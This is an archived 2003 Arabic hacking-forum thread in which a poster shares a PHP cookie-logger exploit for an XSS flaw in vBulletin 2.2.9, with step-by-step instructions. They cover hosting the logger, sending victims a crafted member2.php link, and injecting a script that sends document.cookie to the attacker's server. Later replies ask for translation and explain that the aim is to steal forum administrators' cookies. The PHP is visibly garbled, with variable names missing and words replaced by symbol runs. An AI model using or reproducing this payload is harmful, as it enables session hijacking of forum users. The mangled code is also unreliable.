Fetching vBulletin's 2.2.9 cookies and storing it in log file.to a [الأرشيف] - .:: منتديات العاصفة - اول منتدى عربي متخصص في التقنية والحماية ::.

HackeRMaN

19-05-2003, 11:00

- Run this script on some host:

<?PHP

// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's &@#&@#&@#&@#&@#&@#s and storing it into a
log file.

// Variables:

= "&@#&@#&@#&@#&@#&@#s.Log";

// Functions:

/*

If (['Action'] = "Log") {

= "";

}
Else {

= "";
= "";

}

Print ();

*/

Print ("<Title>vBulletin XSS Injection Vulnerability:
Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("vBulletin XSS Injection Vulnerability: Exploit\n");
Print ("Coded By: <A
Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A><Hr Width=\"20%\">");

/*

Print ();

*/

Switch (['Action']) {

Case "Log":

= ['&@#&@#&@#&@#&@#&@#'];

= StrStr (, SubStr (, BCAdd (0x0D,
StrLen (DecHex (MD5 (NULL))))));

= FOpen (, "a+");
FWrite (, Trim () . "\n");
FClose ();

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\"
&@#&@#&@#&@#&@#&@#&@#=\"0; URL=" . ['HTTP_REFERER'] . "\">");

Break;

Case "List":

If (!File_Exists () || !In_Array ()) {

Print (" There are No
Records</Center></Pre>");

Exit ();

}
Else {

Print ("</Center></Pre>");

= Array_UniQue (File ());

Print ("<Pre>");

Print (".:: Statics\n");
Print ("\n");

Print ("^ Logged Records : " . Count (File
()) . "\n");
Print ("^ Listed Records : " . Count

() . " [Not Counting Duplicates]\n");
Print ("\n");

Print (".:: Options\n");
Print ("\n");

If (Count (File ()) > 0) {

['Download'] = "[<A Href=\"" .
. "\">Download</A>]";

}
Else{

['Download'] = "[No Records in Log]";

}

Print ("^ Download Log : " .
['Download'] . "\n");
Print ("^ Clear Records : [<A Href=\"" .
. "?Action=Delete\">Y</A>]\n");
Print ("\n");

Print (".:: Records\n");
Print ("\n");

While (List ([0], [1]) = Each ()) {

Print ("" . [0] . ": " . [1]);

}

}

Print ("</Pre>");

Break;

Case "Delete":

@UnLink ();

Print (" Deleted
Succsesfuly</Center></Pre>") Or Die (" Error: Cannot Delete
Log</Center></Pre>");

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\" &@#&@#&@#&@#&@#&@#&@#=\"3; URL=" .
['HTTP_REFERER'] . "\">");

Break;

}

?>
- Give a victim this link: member2.php?s=[Session]
&action=viewsubscription&perpage=[Script Code]

- Note: You can replace [Script Code] with: --
><Script>location='Http://[Exploit Path]?Action=Log&&@#&@#&@#&@#&@#&@#='+
(document.&@#&@#&@#&@#&@#&@#);</Script>

- Then go to Http://[Exploit Path]?Action=List

black_knight

21-05-2003, 03:08

ممكن تترجم لنا بالعربي عشان نفهم اخوي
:)

$ZooM In$

25-05-2003, 02:23

أخوي المفكرة اللي عندي ما تحفظ PHP ......
شكــــــــــــــــــــــــراُ لك.

NeT SpideR

25-05-2003, 03:42

اكتب save as
وحدد انت الاسم يالاخو وخليه مثلا add.php
وراح تنحفظ ان شاء الله

HackeRMaN

28-05-2003, 12:49

لحفظ php في النوت باد اكتب الملف هكذا "blls.php" ولاتنسى وضع "" في البداية والنهاية

الأسير

28-05-2003, 12:36

ممكن تترجع خووك ;)

الهكر بن لادن

28-05-2003, 10:48

إيش هذا على الأقل ترجموا العنوان وما أظن هناك الكثير من الشرح لكن اكتبوه

MIDO82

11-06-2003, 10:15

السلام عليكم
يااخوان اشرحوا لنا الثغرة واخبرونا حقت ايش
ماهي شغلة هاذي كل واحد يجي يحط ثغرة ويمشي

القرصان

26-06-2003, 03:41

ترى الثغرة سهلة
لمنتديات الvBulletin's 2.2.9 وإلي إلإصدارت السابقة

على العموم
ماتشتغل إلا إذا كان صاحب المنتدى مفعل خاصية HTML

واغلب المواقع مقفلة هذي الخاصية

وفكرت الثغرة سحب ملف الكوكيز لصاحب المنتدى

سلاااااااااااام
|4|